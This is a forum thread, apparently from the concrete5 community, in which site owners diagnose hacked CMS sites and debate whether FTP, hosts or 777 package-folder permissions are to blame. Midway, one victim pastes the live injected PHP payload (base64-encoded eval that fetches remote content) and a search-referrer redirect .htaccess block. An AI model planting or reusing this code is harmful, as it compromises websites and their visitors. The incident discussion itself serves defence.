A couple of C5 sites hacked rather nastily - just in case it IS actually a c5 issue (and not just my carelessness)
Permalink
Hi all,
I just had an interesting experience of having two c5 sites and a joomla site go down with the same hack, one c5 site went down WHILE I was actually working on it. They were both 5.3.3.1.
I suspect it could be that somehow someone got hold of my FTP credentials, but there are a few things about it which make me wonder.
1. The hacker was clearly not someone manually going in and changing the files, as I can confirm it happened within a second on the site I was working on. So it's an automatic thing targetting many sites for sure.
2. The hack knew well the file structure of BOTH joomla and c5, putting the same tags into the themes of both, and also altering the config/site.php and index.php files in the c5 site, so it has c5 in its sights.
3. One site (Joomla) I haven't logged in with FTP in over a year, the c5 sites I have been actively working on recently. So if it got my FTP credentials a while back somehow, it waited a long time before using them.
4. My FTP passwords (all different with different usernames too) were strong.
Is there any possibilities of how someone could change (add code to) the config/site.php, index.php and EVERY page type file in EVERY theme in concrete5 in under a second? How is that done? I check ed my file permissions, all changed files were 644.
Thanks. I'm perfectly aware that this may well not be a c5 issue, but I'd thought I'd post it just in case.
If anyone wants to know exactly the nature of the hack, I can post the code if you like.
David.
I just had an interesting experience of having two c5 sites and a joomla site go down with the same hack, one c5 site went down WHILE I was actually working on it. They were both 5.3.3.1.
I suspect it could be that somehow someone got hold of my FTP credentials, but there are a few things about it which make me wonder.
1. The hacker was clearly not someone manually going in and changing the files, as I can confirm it happened within a second on the site I was working on. So it's an automatic thing targetting many sites for sure.
2. The hack knew well the file structure of BOTH joomla and c5, putting the same tags into the themes of both, and also altering the config/site.php and index.php files in the c5 site, so it has c5 in its sights.
3. One site (Joomla) I haven't logged in with FTP in over a year, the c5 sites I have been actively working on recently. So if it got my FTP credentials a while back somehow, it waited a long time before using them.
4. My FTP passwords (all different with different usernames too) were strong.
Is there any possibilities of how someone could change (add code to) the config/site.php, index.php and EVERY page type file in EVERY theme in concrete5 in under a second? How is that done? I check ed my file permissions, all changed files were 644.
Thanks. I'm perfectly aware that this may well not be a c5 issue, but I'd thought I'd post it just in case.
If anyone wants to know exactly the nature of the hack, I can post the code if you like.
David.
That sounds most likely, which means this must be possible using the inbuilt file manager in (linux) kde4, as I am using Kubuntu 9.10.
I have saved my FTP passwords in there, which I believe uses KWallet to store them.
I've never accessed the sites on any other computer, so that's the only way it could get this.
Thanks for your insight.
I have saved my FTP passwords in there, which I believe uses KWallet to store them.
I've never accessed the sites on any other computer, so that's the only way it could get this.
Thanks for your insight.
I think, if you were using windows and saved the password, it might be the case that a worm stole your password and a scripted attack has been used to place ads or nasty bits in your theme. It's not as hard as you think. If you have a general knowledge about the cms then you can place an ad into any theme or alter the database..
Anyway. but you say you've been using linux, so I guess the site wasn't hosted on your localhost but your root or shared server host(which I assume is linux or unix too). It could be a zero-day security flaw or an exploit in your hosters ftp server.
There've been found several minor or major security holes in the linux kernel during the past years.. so, it is possible (but with enourmous knowledge only) to hack a "secure" but outdated linux server.
Just saying that nothing is secure when it is public ;)
Hope you had backups! I don't think that one hacked your c5 site, but I guess they "hacked" your server.
C5 is pretty secure! You can integrate phpids into your netbeans and open concrete5 as project. This way you can manually check the security^
cheers
Fernandos
Anyway. but you say you've been using linux, so I guess the site wasn't hosted on your localhost but your root or shared server host(which I assume is linux or unix too). It could be a zero-day security flaw or an exploit in your hosters ftp server.
There've been found several minor or major security holes in the linux kernel during the past years.. so, it is possible (but with enourmous knowledge only) to hack a "secure" but outdated linux server.
Just saying that nothing is secure when it is public ;)
Hope you had backups! I don't think that one hacked your c5 site, but I guess they "hacked" your server.
C5 is pretty secure! You can integrate phpids into your netbeans and open concrete5 as project. This way you can manually check the security^
cheers
Fernandos
That makes it more interesting.
These sites are hosted at the Rackspace Cloud. A quick phpinfo tells me that the php build is "x86_64-redhat-linux-gnu", which gives some idea, although I noticed that the kernel is "2.6.18" which is a bit old so I'll ask them about that (my laptop is running "2.6.31").
Yes, I had backups and the sites were back up within a few minutes, so no biggie at this point, I'd like to understand how to prevent it recurring though.
The hack didn't just place an ad, it actually replaced the entire index.php and config/site.php files with code that allowed the page to load up and execute other posted php code that it was obviously expecting. So the hack was "aiming" at c5 as it knew the file structure - yes? Even if it was via an FTP vulnerability, it still had to have c5 as it's target to know where to put that code to work correctly.
So, I consider the case still open, because I have an up-to-date and CLEAN install of Kubuntu 9.10 running standard apps (Dolphin, Kate) at my end, plus an up-to-date server at a reputable host at the other end. At no point has anyone else had access to my machine or FTP accounts, I live in a remote area with no neighbours, so the chance of someone hacking and eaves-dropping on my wireless router seems very remote too. File access permissions were all 755/644, and the sites were on three different "clients" within the Rackspace Cloud.
Go figure...
So, unless I can find out where I went wrong, there's a major vulnerability somewhere in that combination of what should be very secure systems.
In the meantime I've changed all my passwords, deleted my stored KWallet, and am not storing them there again until I find the issue. I'll be contacting Rackspace with some more pointed questions about whether their FTP systems are secure too, just to see what they say. In fact I'll do that right now...
:)
I'll keep this thread posted with the outcome.
These sites are hosted at the Rackspace Cloud. A quick phpinfo tells me that the php build is "x86_64-redhat-linux-gnu", which gives some idea, although I noticed that the kernel is "2.6.18" which is a bit old so I'll ask them about that (my laptop is running "2.6.31").
Yes, I had backups and the sites were back up within a few minutes, so no biggie at this point, I'd like to understand how to prevent it recurring though.
The hack didn't just place an ad, it actually replaced the entire index.php and config/site.php files with code that allowed the page to load up and execute other posted php code that it was obviously expecting. So the hack was "aiming" at c5 as it knew the file structure - yes? Even if it was via an FTP vulnerability, it still had to have c5 as it's target to know where to put that code to work correctly.
So, I consider the case still open, because I have an up-to-date and CLEAN install of Kubuntu 9.10 running standard apps (Dolphin, Kate) at my end, plus an up-to-date server at a reputable host at the other end. At no point has anyone else had access to my machine or FTP accounts, I live in a remote area with no neighbours, so the chance of someone hacking and eaves-dropping on my wireless router seems very remote too. File access permissions were all 755/644, and the sites were on three different "clients" within the Rackspace Cloud.
Go figure...
So, unless I can find out where I went wrong, there's a major vulnerability somewhere in that combination of what should be very secure systems.
In the meantime I've changed all my passwords, deleted my stored KWallet, and am not storing them there again until I find the issue. I'll be contacting Rackspace with some more pointed questions about whether their FTP systems are secure too, just to see what they say. In fact I'll do that right now...
:)
I'll keep this thread posted with the outcome.
are you always connecting via SFTP instead of just FTP?
No, I wasn't, and that's something else that I've changed - since then I'll always use sftp, before I was not always doing that.
So, yes, the use of plain FTP at times could have been the issue.
So, yes, the use of plain FTP at times could have been the issue.
OK, so I'm still not 100% sure where it was, but the weakest point was probably me not using sFTP at all times - so there's a wake up call to anyone else not ALWAYS using that.
I talked to Rackspace, and they seem to have their system up to date with backports and patches against all known vulnerabilities that I was able to find and put to them. So the chances of it being an issue with my host is extremely unlikely.
If it's a core issue with Kubuntu and Kde4, or the linux kernel itself - then lots of people and sites are in trouble! So let's hope it's not that!
I spent a good while reading my raw server logs and found the IP address that was making the requests to the new files that were created. It was 87.118.64.35 if anyone wishes to ban that as I have now done.
So, all in all a good lesson in security and much wasted time. It was probably not a concrete5 vulnerability, but it either has some pretty good regex's happening or it was designed with concrete5 in it's sights - either way, if you are running a concrete5 site, better to stay vigilant on this one, because it can delete your whole site rather quickly.
Thanks to all.
I talked to Rackspace, and they seem to have their system up to date with backports and patches against all known vulnerabilities that I was able to find and put to them. So the chances of it being an issue with my host is extremely unlikely.
If it's a core issue with Kubuntu and Kde4, or the linux kernel itself - then lots of people and sites are in trouble! So let's hope it's not that!
I spent a good while reading my raw server logs and found the IP address that was making the requests to the new files that were created. It was 87.118.64.35 if anyone wishes to ban that as I have now done.
So, all in all a good lesson in security and much wasted time. It was probably not a concrete5 vulnerability, but it either has some pretty good regex's happening or it was designed with concrete5 in it's sights - either way, if you are running a concrete5 site, better to stay vigilant on this one, because it can delete your whole site rather quickly.
Thanks to all.
This issue cropped up on media temple recently. I don't remember the fix, but I think it was eventually handled by media temple itself.
It is some kind of virus that installs itself. I am using rackspace now myself, but I certainly have not experienced this issue just yet.
Ill certainly be adding that ip to the ban list though just in case.
It is some kind of virus that installs itself. I am using rackspace now myself, but I certainly have not experienced this issue just yet.
Ill certainly be adding that ip to the ban list though just in case.
I got hacked last night,
This was in my index.php
and in my .htaccess file
I'm PISSED.
I host with (mt) and have sent them a support request.
What's the outcome of this? I've adjusted my htaccess file and index.php back to normal and my site now works normally.
Which passwords will this hacker have? What info will they have collected?
Being on the gridserver account, do they have access to my other domains, sites, email??
What passwords do I now have to change?
I didn't know about sFTP until I read this, I now use it with Coda and my (mt) account. My other sites seem fine, but for how long?
I've also gone to my C5 sitewide settings and adjusted the incorrect login settings to 3 incorrect in less than 90 seconds results in a permanent ban, what other precautions can I take?
Thanks to anyone who can help.
This was in my index.php
<?php require('concrete/dispatcher.php');<!--yje35zfv8SU--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>
and in my .htaccess file
AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm RewriteEngine On RewriteOptions inherit RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC] RewriteRule .* http://allvideo.org.uk/in.cgi?4¶meter=sf [R,L]
I'm PISSED.
I host with (mt) and have sent them a support request.
What's the outcome of this? I've adjusted my htaccess file and index.php back to normal and my site now works normally.
Which passwords will this hacker have? What info will they have collected?
Being on the gridserver account, do they have access to my other domains, sites, email??
What passwords do I now have to change?
I didn't know about sFTP until I read this, I now use it with Coda and my (mt) account. My other sites seem fine, but for how long?
I've also gone to my C5 sitewide settings and adjusted the incorrect login settings to 3 incorrect in less than 90 seconds results in a permanent ban, what other precautions can I take?
Thanks to anyone who can help.
This is different to what happened to my sites, although the level of access required is the same.
I changed the passwords on ALL my sites, every one to make sure.
I used sFTP for a bit but found it too slow on Kubuntu, so now I've mounted my account filesystem using sshfs, which is still slow but works better. I'm not saving any passwords anywhere anymore.
I'm still not 100% convinced that it couldn't be a c5 vulnerability. While c5 is pretty secure relative to other CMSs, it's not invincible I'm sure. In the meantime, I'm behaving as if it's an FTP access issue, because that's what I have the most power to fix.
That's the best I can do to help.
Enjoy.
I changed the passwords on ALL my sites, every one to make sure.
I used sFTP for a bit but found it too slow on Kubuntu, so now I've mounted my account filesystem using sshfs, which is still slow but works better. I'm not saving any passwords anywhere anymore.
I'm still not 100% convinced that it couldn't be a c5 vulnerability. While c5 is pretty secure relative to other CMSs, it's not invincible I'm sure. In the meantime, I'm behaving as if it's an FTP access issue, because that's what I have the most power to fix.
That's the best I can do to help.
Enjoy.
don't think any computer system is invincible.
If you haven't logged into Joomla in over a year.. that also means you haven't updated it right? I'm sure a security flaw was found in that time and patched.
If I had to guess, I'd say it was a security vulnerability with a piece of web-based software you had on the server.
I've had webservers hacked before where the attacker was able to append a script to pretty much every .php and .html file on the server (right after the body tag). All an automated script, done in a matter of minutes or seconds.
They accessed the server through an old blogging or e-commerce instance (non-production) that I had up there as tests. I forgot about them and a few months later, wham - every single domain in my account was affected/infected.
The University of Indianapolis actually had several thousand Social Security Numbers exposed because an unauthorized, out-of-date blogging software was installed on their webserver. It costs them $500k to clean-up the mess (notifying all the students, etc.)
Moral of the story: leaving out-of-date web apps on your server is a bad idea.
If I had to guess, I'd say it was a security vulnerability with a piece of web-based software you had on the server.
I've had webservers hacked before where the attacker was able to append a script to pretty much every .php and .html file on the server (right after the body tag). All an automated script, done in a matter of minutes or seconds.
They accessed the server through an old blogging or e-commerce instance (non-production) that I had up there as tests. I forgot about them and a few months later, wham - every single domain in my account was affected/infected.
The University of Indianapolis actually had several thousand Social Security Numbers exposed because an unauthorized, out-of-date blogging software was installed on their webserver. It costs them $500k to clean-up the mess (notifying all the students, etc.)
Moral of the story: leaving out-of-date web apps on your server is a bad idea.
I'm guilty of leaving WP 2.8 on there in another folder.
This makes a lot of sense, thanks for the above insight.
I'm on a gridserver from (mt), my other domains are unaffected even though some of them still have old installs on there, what are the chances of access gained to other domain folders?
Will I need to change ALL my db passwords, account password AND ftp/email passwords? I've too many clients on there to go through and do this.
This makes a lot of sense, thanks for the above insight.
I'm on a gridserver from (mt), my other domains are unaffected even though some of them still have old installs on there, what are the chances of access gained to other domain folders?
Will I need to change ALL my db passwords, account password AND ftp/email passwords? I've too many clients on there to go through and do this.
We had the same problem with hunderds of sites. The worm/virus gets on your computer through an older version of flash player or acrobat reader. Then it uses the ftp logins and passwords to inject the code in index files and some other files.
The worm/virus can be removed by running malwarebites.
You have to change all the ftp passwords AND login names.
Regards, Corretje
The worm/virus can be removed by running malwarebites.
You have to change all the ftp passwords AND login names.
Regards, Corretje
Sorry Corretje, that seems a tad excessive and misinformed?
I'm on OS X 10.5.8 – Malwarebytes can't help me.
I'm on OS X 10.5.8 – Malwarebytes can't help me.
Some Files on the 5.3.3.1 Zip Archives are executable and with write access for Everyone marked. (site.xml in / etc.)
If i install a Theme or Plugins over the marketplace, the files have also the rights for everyone (user,group & others) to write, read & execute.
For my understanding, this is really dangerous, or not?
If i install a Theme or Plugins over the marketplace, the files have also the rights for everyone (user,group & others) to write, read & execute.
For my understanding, this is really dangerous, or not?
That would seem relevant, especially combined with the outdated Joomla (or whatever) scenario painted above).
On rackspacecloud, each site runs in its own user and group, so as long as ALL files on your site are 755/644 , then no worries.
However, if you have a file which is world-writeable, you can write files cross-domain and "behind" the scenes. I've actually done this myself to double check that (yes) it can be done.
So I'd suggest that anyone with any files world writable on rackspace cloud sites (and probably (mt) gridthingy and most regular shared hosting too), would need to watch out for this really vigilantly (I'm going to double check my sites now). While those on dedicated/VPS servers etc. would need to watch out for the combination of this + outdated stuff elsewhere on their server.
Although with concrete5, if only the xml files are world writable, then apache won't run them as php anyway (anyone know differently to that?) unless they can also write to your .htaccess file or they have write access to the parent folder to create new files.
This was clearly NOT the exploit on my sites, now that I think it through, because new files were created in the /config folder, which I checked at the time was 755, but it's definitely something to check for if you are doing some adventurous development with c5.
I think that makes sense anyway, been a looooong day...
On rackspacecloud, each site runs in its own user and group, so as long as ALL files on your site are 755/644 , then no worries.
However, if you have a file which is world-writeable, you can write files cross-domain and "behind" the scenes. I've actually done this myself to double check that (yes) it can be done.
So I'd suggest that anyone with any files world writable on rackspace cloud sites (and probably (mt) gridthingy and most regular shared hosting too), would need to watch out for this really vigilantly (I'm going to double check my sites now). While those on dedicated/VPS servers etc. would need to watch out for the combination of this + outdated stuff elsewhere on their server.
Although with concrete5, if only the xml files are world writable, then apache won't run them as php anyway (anyone know differently to that?) unless they can also write to your .htaccess file or they have write access to the parent folder to create new files.
This was clearly NOT the exploit on my sites, now that I think it through, because new files were created in the /config folder, which I checked at the time was 755, but it's definitely something to check for if you are doing some adventurous development with c5.
I think that makes sense anyway, been a looooong day...
As workaround, i will do an hourly cronjob for all my c5 installations, which takes away bad file rights. Because everytime a package is installed by the web interface from a client, it writes bad attributed files (world read write and executable).
thanks for the discussion guys. i think i'm going to apply some of the suggestions here.
Thanks for the information - have only one packages downloaded over the dashboard. Was with chmod 777 changed to 755.
http://jeffreybarke.net/2009/11/media-templewordpress-hacked/
No, that's a a good answer, but it is not the same hack as what happened to me.
Different host company, different origin country (Germany in my case), and different kinds of changes made to the compromised sites. The main similarity is that they were both on "cloud" style hosting and involved pretty deep compromises, most likely with FTP. My .htaccess files were not touched. My index.php files were changed, plus the config/site.php and then a new file, config/data.php was created which was waiting to be called by a remote POST request (which came five hours after the initial file changes). Luckily I was actually working on the site when the initial attack occurred, and disabled that config/data.php file before it was called and caused more damage.
You may be right, and this could be like a mutation of the same issue, but it's not quite the one.
Good read all the same.
Thanks.
Different host company, different origin country (Germany in my case), and different kinds of changes made to the compromised sites. The main similarity is that they were both on "cloud" style hosting and involved pretty deep compromises, most likely with FTP. My .htaccess files were not touched. My index.php files were changed, plus the config/site.php and then a new file, config/data.php was created which was waiting to be called by a remote POST request (which came five hours after the initial file changes). Luckily I was actually working on the site when the initial attack occurred, and disabled that config/data.php file before it was called and caused more damage.
You may be right, and this could be like a mutation of the same issue, but it's not quite the one.
Good read all the same.
Thanks.
Just had a client with index.php and .htaccess files changed.. turns out was this:
http://michaeltorbert.com/blog/media-temple-hacked/...
http://michaeltorbert.com/blog/media-temple-hacked/...
Yep, this is all about Media Temple, not concrete5.
As a both long-time concrete5 user and Media Temple (gs) customer, I can assure that concrete5 is secure, but not (gs) of Media Temple (Although they are claiming that they have resolved the problem).
I ended up upgrading from (gs) to (dv) for some of my clients for more secured service (upgrading from shared hosting to VPS is more than that... but...), and move from Media Temple to other hosting.
As a both long-time concrete5 user and Media Temple (gs) customer, I can assure that concrete5 is secure, but not (gs) of Media Temple (Although they are claiming that they have resolved the problem).
I ended up upgrading from (gs) to (dv) for some of my clients for more secured service (upgrading from shared hosting to VPS is more than that... but...), and move from Media Temple to other hosting.
No, this is about concrete5.
I've just managed to catch them in action (again).
If you install a package from the marketplace, ALL files and folders in that subdirectory in the /packages directory are given 777 permissions.
The hacker trolls around on Rackspace Cloud, and probably Media Temple and other shared hosts looking for concrete5 installs and then the packages directory and then places a folder called "return" in the "blocks" folder. That folder contains four files which execute code and store data for their return visit via HTTP which comes a few hours later.
I've traced IPs in Germany, China and Dallas, Texas attempting to do this at least 3 times on one site.
There's nothing your host can do about this. If you files are 777, that's YOUR PROBLEM not (mt) or Rackspace's!
Thus Concrete5 must immediately stop doing this 777 thing. It is dangerous and must be immediately patched.
Unbelievable...
In my case, I installed the "Addthis" package from the market place a while back on one site. A couple of weeks ago (when this thread was first started) they used this compromised folder to launch their attacks on this site, plus two others. I patched up the other sites and what I could see damaged on this main site. Yesterday, this main site (I'm not publishing the url) ONLY was targetted again, and because the other sites did not have any 777 folders, they were fine. However, this site (with Addthis installed) was still open because I assumed that the "return" folder was part of the package and left the files there without examining them properly.
Today I saw a weird POST request to that folder and thought I better check it out. So then I saw the changes and new files etc. and how the packages are installed with 777 permissions on everything.
Not good.
Needs to be fixed real fast.
BTW - the latest origin IP address was 72.249.29.195 from Dallas, Texas using a command line browser to POST. Ban it, it's not on any blacklists that I can see.
Thanks.
I've just managed to catch them in action (again).
If you install a package from the marketplace, ALL files and folders in that subdirectory in the /packages directory are given 777 permissions.
The hacker trolls around on Rackspace Cloud, and probably Media Temple and other shared hosts looking for concrete5 installs and then the packages directory and then places a folder called "return" in the "blocks" folder. That folder contains four files which execute code and store data for their return visit via HTTP which comes a few hours later.
I've traced IPs in Germany, China and Dallas, Texas attempting to do this at least 3 times on one site.
There's nothing your host can do about this. If you files are 777, that's YOUR PROBLEM not (mt) or Rackspace's!
Thus Concrete5 must immediately stop doing this 777 thing. It is dangerous and must be immediately patched.
Unbelievable...
In my case, I installed the "Addthis" package from the market place a while back on one site. A couple of weeks ago (when this thread was first started) they used this compromised folder to launch their attacks on this site, plus two others. I patched up the other sites and what I could see damaged on this main site. Yesterday, this main site (I'm not publishing the url) ONLY was targetted again, and because the other sites did not have any 777 folders, they were fine. However, this site (with Addthis installed) was still open because I assumed that the "return" folder was part of the package and left the files there without examining them properly.
Today I saw a weird POST request to that folder and thought I better check it out. So then I saw the changes and new files etc. and how the packages are installed with 777 permissions on everything.
Not good.
Needs to be fixed real fast.
BTW - the latest origin IP address was 72.249.29.195 from Dallas, Texas using a command line browser to POST. Ban it, it's not on any blacklists that I can see.
Thanks.
BTW - my sites are on Rackspace, not (mt). I've spent some hours going through all kinds of questions with their support and looking into everything I can, I can't fault them at this point.
I've never hosted with (mt), so I can't comment on their systems, but I feel that Rackspace is secure and up to date.
I've never hosted with (mt), so I can't comment on their systems, but I feel that Rackspace is secure and up to date.
you got it completely wrong man!
777 is not a problem at all. All web application which are writing files need some more permissiones, either 666 or 777 or 0700 but at some point there's write access which you must grant to the server.
it doesn't mean anyone can upload file there. It just means that code run by the web server can write into these directories. As long as no one without proper authorization is able to upload executable code to your webserver, everything is fine!
THERE'S NOTHING WRONG WITH 777! Concrete5, Wordpress, Joomal, Drupal and a ton of other software are using this and it's totally fine!
The fact that you're finding files in these certain directories just means that someone executed code and this is the place where they can save files. The problem is not that it possible to save files there, the problem is that someone can execute code on your server.
777 is not a problem at all. All web application which are writing files need some more permissiones, either 666 or 777 or 0700 but at some point there's write access which you must grant to the server.
it doesn't mean anyone can upload file there. It just means that code run by the web server can write into these directories. As long as no one without proper authorization is able to upload executable code to your webserver, everything is fine!
THERE'S NOTHING WRONG WITH 777! Concrete5, Wordpress, Joomal, Drupal and a ton of other software are using this and it's totally fine!
The fact that you're finding files in these certain directories just means that someone executed code and this is the place where they can save files. The problem is not that it possible to save files there, the problem is that someone can execute code on your server.
I understand that.
What about this scenario:
I'm a bad guy. I have a Rackspace account. I write a script on my account with navigates over to your innocent account folder (the one which is 777) and then creates a new folder and files in there.
No FTP or HTTP is required at this point. Just an existing Rackspace account and php code.
Once I've written that file, I then go and call that file with HTTP.
Too easy.
That's what is happening.
What about this scenario:
I'm a bad guy. I have a Rackspace account. I write a script on my account with navigates over to your innocent account folder (the one which is 777) and then creates a new folder and files in there.
No FTP or HTTP is required at this point. Just an existing Rackspace account and php code.
Once I've written that file, I then go and call that file with HTTP.
Too easy.
That's what is happening.
I know that can be done on Rackspace - cross client account, because I did it myself several months ago out of curiosity. (I wrote a script to write a file in the folder of a separate client account). It only works where there are folders in your account with 777 permissions.
Why is 777 required? Is there any parts of concrete5 which require more than 755 / 644 permissions to run?
Why is 777 required? Is there any parts of concrete5 which require more than 755 / 644 permissions to run?
no, there isn't.. It's just a matter about simplicity.
Almost all installation instructions for php web application write 0777 while it's true that something like 0644 would probably be better but won't work on all shared servers...
It's just about write permissions and execute permissions for the single python script (if you still use it)
Almost all installation instructions for php web application write 0777 while it's true that something like 0644 would probably be better but won't work on all shared servers...
It's just about write permissions and execute permissions for the single python script (if you still use it)
Yes, that can happen but this is why a good web hoster run suexec, basedir and/or something similar to avoid this..
I just check a few other cms system and all tell their users to set permissions to 0777. It's true that 0744 or 0644 might be better but that's not working on all web hosters and would generate a lot of support.
And besides, there's not code which sets 0777 folder permissions. There's therefore no code which could be patched! It's just a matter of setup instructions.
I agree that a hint about 0744/0777 might be a good thing but most people won't understand the difference which is why a decent webhoster would be helpful..
I just check a few other cms system and all tell their users to set permissions to 0777. It's true that 0744 or 0644 might be better but that's not working on all web hosters and would generate a lot of support.
And besides, there's not code which sets 0777 folder permissions. There's therefore no code which could be patched! It's just a matter of setup instructions.
I agree that a hint about 0744/0777 might be a good thing but most people won't understand the difference which is why a decent webhoster would be helpful..
okay, sorry for spamming but I just had another thought:
If rackspace uses such a simple configuration - don't you have read access to other webspace users on the same server by default? Because usually ready access is granted to the public..
This would make it possible to read all config files, e.g. mysql users and passwords which would make it possible to do a lot of stuff as well.
Just out of curiosity!
If rackspace uses such a simple configuration - don't you have read access to other webspace users on the same server by default? Because usually ready access is granted to the public..
This would make it possible to read all config files, e.g. mysql users and passwords which would make it possible to do a lot of stuff as well.
Just out of curiosity!
The reason why I said this is concrete5's problem is because if I'm that bad guy, and if I know that you have a concrete5 site with a marketplace addon installed - then I know that you have some 777 folders present which I can find fairly easily if I'm on the same shared host as you.
So there's nothing wrong with 777 on a dedicated server, but in a shared environment it can be like a key left in the lock.
I'm happy to be wrong on this, but I've checked all my FTP logs, there has been no FTP access apart from myself. I've checked all my HTTP logs, and there are these POSTs to the created files, always a few hours after the files are changed or created.
Therefore, the new files were created via scripts running on the same system elsewhere, not via FTP.
Therefore, 777 is a problem!
The big question is whether Concrete5 actually needs 777 to work correctly. Can I safely do 755/644 on all files and folders in a concrete5 installation without harming it?
So there's nothing wrong with 777 on a dedicated server, but in a shared environment it can be like a key left in the lock.
I'm happy to be wrong on this, but I've checked all my FTP logs, there has been no FTP access apart from myself. I've checked all my HTTP logs, and there are these POSTs to the created files, always a few hours after the files are changed or created.
Therefore, the new files were created via scripts running on the same system elsewhere, not via FTP.
Therefore, 777 is a problem!
The big question is whether Concrete5 actually needs 777 to work correctly. Can I safely do 755/644 on all files and folders in a concrete5 installation without harming it?
yes, but again, this is not about Concrete5 code. It's therefore not a bug in Concrete5!
I just want to make clear that there's not code which must be fixed in Concrete5.
A proper configuration (as mentioned above, check suexec) doesn't have that problem. You run php as cgi and set openbase dir. You then won't have access to other users directories. I guess suexec isn't very popular on the big and cheap hosters (yet). Sorry, my fault.
Can we agree on these things:
- There's no buggy concrete5 code about this security issue, no need for a patch
- 0777 isn't a problem when you run suexec
- It's better not to use 0777 on a shared host you don't know.
- Concrete5 doesn't need 0777, depending on whether it runs as the same user or group, you only need 0664 or 0644 and depending on your configuration 0774 or 0744
I just want to make clear that there's not code which must be fixed in Concrete5.
A proper configuration (as mentioned above, check suexec) doesn't have that problem. You run php as cgi and set openbase dir. You then won't have access to other users directories. I guess suexec isn't very popular on the big and cheap hosters (yet). Sorry, my fault.
Can we agree on these things:
- There's no buggy concrete5 code about this security issue, no need for a patch
- 0777 isn't a problem when you run suexec
- It's better not to use 0777 on a shared host you don't know.
- Concrete5 doesn't need 0777, depending on whether it runs as the same user or group, you only need 0664 or 0644 and depending on your configuration 0774 or 0744
Remo, i think he's right here. it's my understanding that if you're on your own dedicated server or a virtual server, then it's no big deal, but giving a folder 777 rights means that any user on that server can write and execute code in that folder. 777 is often used by various projects because dealing with server permission issues is a real pain, and this sets things to wide open, but on my other projects i try to never give something more than 775 access, and then if need be i assign the FTP user and the server to whatever group owns the files, so they can both write. not an easy thing to explain to someone trying to set up a c5 install though (like there's a potential problem with deleting files that are created by the server). i'm really not sure what an easy solution is, but maybe we could provide an option to chmod those folder 775? any suggestions?
Yes Tony, he's partially right.
I made the assumption that webhosters are aware of this problem and don't expect their customers to take care of this.
But I don't agree that this is a Concrete5 problem which can be fixed by a patch.
The problem needs either be fixed by the webserver configuration or by a more detailled installation instruction.
I made the assumption that webhosters are aware of this problem and don't expect their customers to take care of this.
But I don't agree that this is a Concrete5 problem which can be fixed by a patch.
The problem needs either be fixed by the webserver configuration or by a more detailled installation instruction.
is base.php the only place that does the chmod 777? maybe we could at least provide a warning somewhere (like somewhere in the dashboard or the install routine) if that directory is set to 777? or maybe it could try using a less open setting first, run a couple of tests, and only if those failed chmod to 777. ?
uhh, I haven't seen this code..
But be careful, chmod often doesn't work. It doesn't on mine which is why I haven't looked at it.
But try setting it to 0744 first, if it doesn't work set it to 0774 and if it still doesn't work try setting it to 0777
But be careful, chmod often doesn't work. It doesn't on mine which is why I haven't looked at it.
But try setting it to 0744 first, if it doesn't work set it to 0774 and if it still doesn't work try setting it to 0777
Okay have to admit there's more code which we should change, but:
1. the base dirs are manually set by the user, I haven't seen any code which sets permissions to 0777 on files, packages, config
2. C5 sets 0777 for directories which it creates within these directories.
There are a few files where 0777 is set. File helper for temp directories and the file structure (1234/5688/..)
1. the base dirs are manually set by the user, I haven't seen any code which sets permissions to 0777 on files, packages, config
2. C5 sets 0777 for directories which it creates within these directories.
There are a few files where 0777 is set. File helper for temp directories and the file structure (1234/5688/..)
I had a look at that, and it's the only place I can find that calls chmod directly. However, I don't know for sure if I'm looking in all the right places.
To really fix this, every single time the mkdir function is called you would need to go mkdir($new_dir, $mode) or whatever, because it you leave that $mode value out, it will default to 0777. So perhaps that's a big part of the problem.
This fix would involve checking through every place where mkdir is used and adjusting to use the user-defined-at-install setting.
I don't have the time to do this this week, but if the problem is not fixed in a couple of weeks, I should have the time to parse through the whole codebase and check for this.
Is that a good idea? Or is there a better way?
To really fix this, every single time the mkdir function is called you would need to go mkdir($new_dir, $mode) or whatever, because it you leave that $mode value out, it will default to 0777. So perhaps that's a big part of the problem.
This fix would involve checking through every place where mkdir is used and adjusting to use the user-defined-at-install setting.
I don't have the time to do this this week, but if the problem is not fixed in a couple of weeks, I should have the time to parse through the whole codebase and check for this.
Is that a good idea? Or is there a better way?
:)
OK, I'll make last post here before giving it a rest for a bit...
Sorry for being alarmist and a bit hysterical before, I'm royally p*ssed off with this happening, such a waste of time (which = money).
I think it would be good if Concrete5 could switch if possible to never allowing 777 folders and files to be present in the system. I don't know whether this is really possible. It only seems to happen with those marketplace installed packages. It wasn't me who created those files, it was concrete5 during the marketplace install process. So it was concrete5 that set those permissions.
I'm posting here because I think Concrete5 is beyond awesome. It would be horrible to tarnish such a good system with an achilles heel like this. So I hope that any part that c5 has in this can be eliminated.
Rackspace are also awesome. At this point, I just can't see where they can improve though, or where they could be at fault here.
I have switched to using sshfs for every communication with the server, I don't know what else I could do that I haven't already.
So, thanks Remo for your thoughts here, I'll look into that too, and I'll take a few deep breaths and get some breakfast...
:)
OK, I'll make last post here before giving it a rest for a bit...
Sorry for being alarmist and a bit hysterical before, I'm royally p*ssed off with this happening, such a waste of time (which = money).
I think it would be good if Concrete5 could switch if possible to never allowing 777 folders and files to be present in the system. I don't know whether this is really possible. It only seems to happen with those marketplace installed packages. It wasn't me who created those files, it was concrete5 during the marketplace install process. So it was concrete5 that set those permissions.
